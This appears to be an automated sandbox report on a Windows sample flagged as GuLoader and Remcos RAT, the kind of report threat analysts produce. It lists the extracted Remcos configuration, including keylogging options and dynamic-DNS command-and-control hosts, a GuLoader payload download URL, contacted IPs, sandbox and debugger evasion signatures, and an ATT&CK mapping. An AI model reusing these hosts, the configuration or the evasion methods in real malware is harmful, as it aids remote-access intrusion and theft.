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Windows Analysis Report 8TEZmAEx3U.exe

Overview

General Information

Sample Name:	8TEZmAEx3U.exe
Analysis ID:	491398
MD5:	28c8b2207bb3e6884e1e29575fb19bec
SHA1:	5af638a980ba849bc6244dffb0caff4fb88c88d7
SHA256:	7b3c49295c67d0de6a1739eca11609fc551805075fd66facfec8e2a2b6ca016c
Tags:	exeRATRemcosRAT
Infos:
Most interesting Screenshot:

Detection

GuLoader Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Potential malicious icon found

Multi AV Scanner detection for submitted file

GuLoader behavior detected

Yara detected Remcos RAT

Yara detected GuLoader

Hides threads from debuggers

Tries to detect Any.run

C2 URLs / IPs found in malware configuration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Uses dynamic DNS services

Uses 32bit PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected TCP or UDP traffic on non-standard ports

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

IP address seen in connection with other malware

Abnormal high CPU Usage

Classification

Process Tree

System is w10x64

8TEZmAEx3U.exe (PID: 400 cmdline: 'C:\Users\user\Desktop\8TEZmAEx3U.exe' MD5: 28C8B2207BB3E6884E1E29575FB19BEC)

8TEZmAEx3U.exe (PID: 6632 cmdline: 'C:\Users\user\Desktop\8TEZmAEx3U.exe' MD5: 28C8B2207BB3E6884E1E29575FB19BEC)

cleanup

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "solex-wave.duckdns.org:2404:0solex-wave.duckdns.org:2222:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Remcos-Y0PK9D", "Keylog flag": "0", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "notepad;solitaire;", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "20000"}

Threatname: GuLoader

{"Payload URL": "http://sopage.duckdns.org/Remcos_s_bChlcwVW46.bin"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.761066423.0000000000707000.00000004.00000020.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0000000E.00000002.761066423.0000000000707000.00000004.00000020.sdmp	Malware Configuration Extractor: Remcos {"Host:Port:Password": "solex-wave.duckdns.org:2404:0solex-wave.duckdns.org:2222:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Remcos-Y0PK9D", "Keylog flag": "0", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "notepad;solitaire;", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "20000"}
Source: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp	Malware Configuration Extractor: GuLoader {"Payload URL": "http://sopage.duckdns.org/Remcos_s_bChlcwVW46.bin"}

Multi AV Scanner detection for submitted file

Show sources

Source: 8TEZmAEx3U.exe

Virustotal: Detection: 18%

Perma Link

Yara detected Remcos RAT

Show sources

Source: Yara match

File source: 0000000E.00000002.761066423.0000000000707000.00000004.00000020.sdmp, type: MEMORY

Machine Learning detection for sample

Show sources

Source: 8TEZmAEx3U.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Code function: 0_2_00402504 CryptDestroyHash,

Source: 8TEZmAEx3U.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2032776 ET TROJAN Remocs 3.x Unencrypted Checkin 192.168.2.5:49753 -> 23.146.242.71:2404
Source: Traffic	Snort IDS: 2032777 ET TROJAN Remocs 3.x Unencrypted Server Response 23.146.242.71:2404 -> 192.168.2.5:49753

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: solex-wave.duckdns.org
Source: Malware configuration extractor	URLs: http://sopage.duckdns.org/Remcos_s_bChlcwVW46.bin

Uses dynamic DNS services

Show sources

Source: unknown	DNS query: name: sopage.duckdns.org
Source: unknown	DNS query: name: solex-wave.duckdns.org

Source: global traffic

HTTP traffic detected: GET /Remcos_s_bChlcwVW46.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: sopage.duckdns.orgCache-Control: no-cache

Source: global traffic

TCP traffic: 192.168.2.5:49753 -> 23.146.242.71:2404

Source: Joe Sandbox View	ASN Name: VDI-NETWORKUS VDI-NETWORKUS
Source: Joe Sandbox View	ASN Name: VDI-NETWORKUS VDI-NETWORKUS

Source: Joe Sandbox View

IP Address: 23.146.242.85 23.146.242.85

Source: unknown

DNS traffic detected: queries for: sopage.duckdns.org

Source: global traffic

HTTP traffic detected: GET /Remcos_s_bChlcwVW46.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: sopage.duckdns.orgCache-Control: no-cache

E-Banking Fraud:

Yara detected Remcos RAT

Show sources

Source: Yara match

File source: 0000000E.00000002.761066423.0000000000707000.00000004.00000020.sdmp, type: MEMORY

System Summary:

Potential malicious icon found

Show sources

Source: initial sample

Icon embedded in PE file: bad icon match: 20047c7c70f0e004

Source: 8TEZmAEx3U.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: 8TEZmAEx3U.exe, 00000000.00000002.485866652.000000000042D000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameProfylaktiskes.exe vs 8TEZmAEx3U.exe
Source: 8TEZmAEx3U.exe, 0000000E.00000000.484947800.000000000042D000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameProfylaktiskes.exe vs 8TEZmAEx3U.exe
Source: 8TEZmAEx3U.exe	Binary or memory string: OriginalFilenameProfylaktiskes.exe vs 8TEZmAEx3U.exe

Source: 8TEZmAEx3U.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223960B
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02239BAA
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02237648
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02237485
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223030C
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223799C
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223B7F0

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223960B NtWriteVirtualMemory,NtAllocateVirtualMemory,LoadLibraryA,
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223DBD2 NtProtectVirtualMemory,
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223B7F0 NtWriteVirtualMemory,LoadLibraryA,
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 14_2_0056EBFC Sleep,NtProtectVirtualMemory,
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 14_2_0056EAB9 NtProtectVirtualMemory,
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 14_2_0056EC5F NtProtectVirtualMemory,
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 14_2_0056EB41 NtProtectVirtualMemory,
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 14_2_0056EAB0 NtProtectVirtualMemory,
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 14_2_0056EC79 NtProtectVirtualMemory,

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Process Stats: CPU usage > 98%

Source: 8TEZmAEx3U.exe

Virustotal: Detection: 18%

Source: 8TEZmAEx3U.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Source: unknown	Process created: C:\Users\user\Desktop\8TEZmAEx3U.exe 'C:\Users\user\Desktop\8TEZmAEx3U.exe'
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process created: C:\Users\user\Desktop\8TEZmAEx3U.exe 'C:\Users\user\Desktop\8TEZmAEx3U.exe'
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process created: C:\Users\user\Desktop\8TEZmAEx3U.exe 'C:\Users\user\Desktop\8TEZmAEx3U.exe'

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Mutant created: \Sessions\1\BaseNamedObjects\Remcos-Y0PK9D

Source: classification engine

Classification label: mal100.rans.troj.evad.winEXE@3/0@2/2

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match

File source: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_00409468 push eax; retf
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_00409429 push 00000004h; ret
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_004090F2 push ebp; ret
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_00407B04 push ecx; retf
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_004093C7 push edx; retf
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_004093DB push edx; retf
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_00408DF3 push ebx; retf
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02231432 pushfd ; ret
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223123B push es; iretd
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02234017 push ds; retf
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02236E61 push ebx; retf
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02235C66 push FFFFFFA2h; ret
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02236873 push ds; iretd
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02230055 push esp; iretd
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_022300C2 push esp; iretd
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02236D29 pushad ; retf
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_022313C8 pushfd ; ret

Source: initial sample

Static PE information: section name: .text entropy: 6.93605268847

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	File opened: C:\Program Files\qga\qga.exe
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	File opened: C:\Program Files\qga\qga.exe

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 8TEZmAEx3U.exe, 00000000.00000002.486828735.0000000002AA0000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32TEMP=WINDIR=\SYSWOW64\MSVBVM60.DLL
Source: 8TEZmAEx3U.exe, 00000000.00000002.486828735.0000000002AA0000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Window / User API: threadDelayed 647

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe TID: 5768

Thread sleep count: 647 > 30

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

System information queried: ModuleInformation

Source: 8TEZmAEx3U.exe, 00000000.00000002.486828735.0000000002AA0000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32TEMP=windir=\syswow64\msvbvm60.dll
Source: 8TEZmAEx3U.exe, 00000000.00000002.486828735.0000000002AA0000.00000004.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Thread information set: HideFromDebugger

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223BF06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223B7A9 mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Process created: C:\Users\user\Desktop\8TEZmAEx3U.exe 'C:\Users\user\Desktop\8TEZmAEx3U.exe'

Source: 8TEZmAEx3U.exe, 0000000E.00000002.761378981.0000000000EA0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: 8TEZmAEx3U.exe, 0000000E.00000002.761378981.0000000000EA0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: 8TEZmAEx3U.exe, 0000000E.00000002.761378981.0000000000EA0000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: 8TEZmAEx3U.exe, 0000000E.00000002.761378981.0000000000EA0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: 8TEZmAEx3U.exe, 0000000E.00000002.761378981.0000000000EA0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Stealing of Sensitive Information:

GuLoader behavior detected

Show sources

Source: Initial file

Signature Results: GuLoader behavior

Yara detected Remcos RAT

Show sources

Source: Yara match

File source: 0000000E.00000002.761066423.0000000000707000.00000004.00000020.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected Remcos RAT

Show sources

Source: Yara match

File source: 0000000E.00000002.761066423.0000000000707000.00000004.00000020.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Virtualization/Sandbox Evasion21	OS Credential Dumping	Security Software Discovery31	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Virtualization/Sandbox Evasion21	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing1	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol212	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
8TEZmAEx3U.exe	18%	Virustotal		Browse
8TEZmAEx3U.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://sopage.duckdns.org/Remcos_s_bChlcwVW46.bin	0%	Avira URL Cloud	safe
solex-wave.duckdns.org	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sopage.duckdns.org	23.146.242.85	true	true		unknown
solex-wave.duckdns.org	23.146.242.71	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://sopage.duckdns.org/Remcos_s_bChlcwVW46.bin	true	Avira URL Cloud: safe	unknown
solex-wave.duckdns.org	true	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.146.242.71	solex-wave.duckdns.org	Reserved		46664	VDI-NETWORKUS	true
23.146.242.85	sopage.duckdns.org	Reserved		46664	VDI-NETWORKUS	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	491398
Start date:	27.09.2021
Start time:	14:52:37
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 10s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	8TEZmAEx3U.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.evad.winEXE@3/0@2/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 17.7% (good quality ratio 4.8%) Quality average: 13% Quality standard deviation: 24.2%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 23.54.113.53, 95.100.54.203, 20.82.209.183 Excluded domains from analysis (whitelisted): e12564.dspb.akamaiedge.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, store-images.s-microsoft.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, arc.trafficmanager.net, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
23.146.242.71	466XoziOLD.exe	Get hash	malicious	Browse
	hVlpEajflR.exe	Get hash	malicious	Browse
	http___sowork.duckdns.org_11d_solex.exe	Get hash	malicious	Browse
23.146.242.85	7HHrcwZjLI.exe	Get hash	malicious	Browse	dypage.duckdns.org/remcos_d_QUBXVO174.bin
	466XoziOLD.exe	Get hash	malicious	Browse	sopage.duckdns.org/Remcos_s_bChlcwVW46.bin
	hVlpEajflR.exe	Get hash	malicious	Browse	spage.duckdns.org/Remcos_S_tGNeLX139.bin
	0rUkHCgvVf.exe	Get hash	malicious	Browse	dpage.duckdns.org/remcos_d_fIqfwC80.bin
	JQPFEy9Ekx.exe	Get hash	malicious	Browse	dyn-bin.duckdns.org/remcos_d_fIqfwC80.bin
	http___sowork.duckdns.org_11d_solex.exe	Get hash	malicious	Browse	sol-bin.duckdns.org/Remcos_S_tGNeLX139.bin

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
solex-wave.duckdns.org	466XoziOLD.exe	Get hash	malicious	Browse	23.146.242.71
sopage.duckdns.org	466XoziOLD.exe	Get hash	malicious	Browse	23.146.242.85

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
VDI-NETWORKUS	7HHrcwZjLI.exe	Get hash	malicious	Browse	23.146.242.85
	466XoziOLD.exe	Get hash	malicious	Browse	23.146.242.85
	hVlpEajflR.exe	Get hash	malicious	Browse	23.146.242.85
	0rUkHCgvVf.exe	Get hash	malicious	Browse	23.146.242.85
	HxXHmM0T9f.exe	Get hash	malicious	Browse	23.146.242.147
	JQPFEy9Ekx.exe	Get hash	malicious	Browse	23.146.242.85
	http___sowork.duckdns.org_11d_solex.exe	Get hash	malicious	Browse	23.146.242.85
	eXik5mFvet.exe	Get hash	malicious	Browse	23.146.242.94
	CVEXzxk43s.exe	Get hash	malicious	Browse	23.146.242.94
	yOCBr7SNLJ.exe	Get hash	malicious	Browse	23.146.242.94
	13FlI4deWN.exe	Get hash	malicious	Browse	23.146.242.94
	Payment Notification.exe	Get hash	malicious	Browse	23.146.242.147
	Payment Notification.scr.exe	Get hash	malicious	Browse	23.146.242.147
	Payment Notification.scr.exe	Get hash	malicious	Browse	23.146.242.147
	Request For Quotation.jar	Get hash	malicious	Browse	23.146.242.147
	OvBS76pTyX.exe	Get hash	malicious	Browse	23.146.242.94
	U6lqJJBG8S.exe	Get hash	malicious	Browse	23.146.242.94
	pNyAinWdWJ.exe	Get hash	malicious	Browse	23.146.242.94
	YTVrQC7FhG.exe	Get hash	malicious	Browse	23.146.242.94
	I4eRfFgJG7.exe	Get hash	malicious	Browse	23.146.242.94
VDI-NETWORKUS	7HHrcwZjLI.exe	Get hash	malicious	Browse	23.146.242.85
	466XoziOLD.exe	Get hash	malicious	Browse	23.146.242.85
	hVlpEajflR.exe	Get hash	malicious	Browse	23.146.242.85
	0rUkHCgvVf.exe	Get hash	malicious	Browse	23.146.242.85
	HxXHmM0T9f.exe	Get hash	malicious	Browse	23.146.242.147
	JQPFEy9Ekx.exe	Get hash	malicious	Browse	23.146.242.85
	http___sowork.duckdns.org_11d_solex.exe	Get hash	malicious	Browse	23.146.242.85
	eXik5mFvet.exe	Get hash	malicious	Browse	23.146.242.94
	CVEXzxk43s.exe	Get hash	malicious	Browse	23.146.242.94
	yOCBr7SNLJ.exe	Get hash	malicious	Browse	23.146.242.94
	13FlI4deWN.exe	Get hash	malicious	Browse	23.146.242.94
	Payment Notification.exe	Get hash	malicious	Browse	23.146.242.147
	Payment Notification.scr.exe	Get hash	malicious	Browse	23.146.242.147
	Payment Notification.scr.exe	Get hash	malicious	Browse	23.146.242.147
	Request For Quotation.jar	Get hash	malicious	Browse	23.146.242.147
	OvBS76pTyX.exe	Get hash	malicious	Browse	23.146.242.94
	U6lqJJBG8S.exe	Get hash	malicious	Browse	23.146.242.94
	pNyAinWdWJ.exe	Get hash	malicious	Browse	23.146.242.94
	YTVrQC7FhG.exe	Get hash	malicious	Browse	23.146.242.94
	I4eRfFgJG7.exe	Get hash	malicious	Browse	23.146.242.94

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.699622688151151
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8TEZmAEx3U.exe
File size:	184320
MD5:	28c8b2207bb3e6884e1e29575fb19bec
SHA1:	5af638a980ba849bc6244dffb0caff4fb88c88d7
SHA256:	7b3c49295c67d0de6a1739eca11609fc551805075fd66facfec8e2a2b6ca016c
SHA512:	03064bc3b8dc9dd43d9d5dc2f32d48a5da92e34640e316b82bf01bea591a81827f3177b7a211de6b612a38c728236c6719b8510538169328382bc3faf90e073f
SSDEEP:	3072:hTp6q3h21cWcznuYnl8AFZ6qnQaanfrMjVJK5T:hT7t6YlLZ66w/
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L....m.R.....................0......`.............@................

File Icon


Icon Hash:	20047c7c70f0e004

Static PE Info

General
Entrypoint:	0x401460
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x52BD6D88 [Fri Dec 27 12:07:36 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	831c9926df4754b736e1ca092f4fb7e7

Entrypoint Preview

Instruction
push 00401608h
call 00007FD1589ADC33h
add byte ptr [eax], al
add byte ptr [eax], al
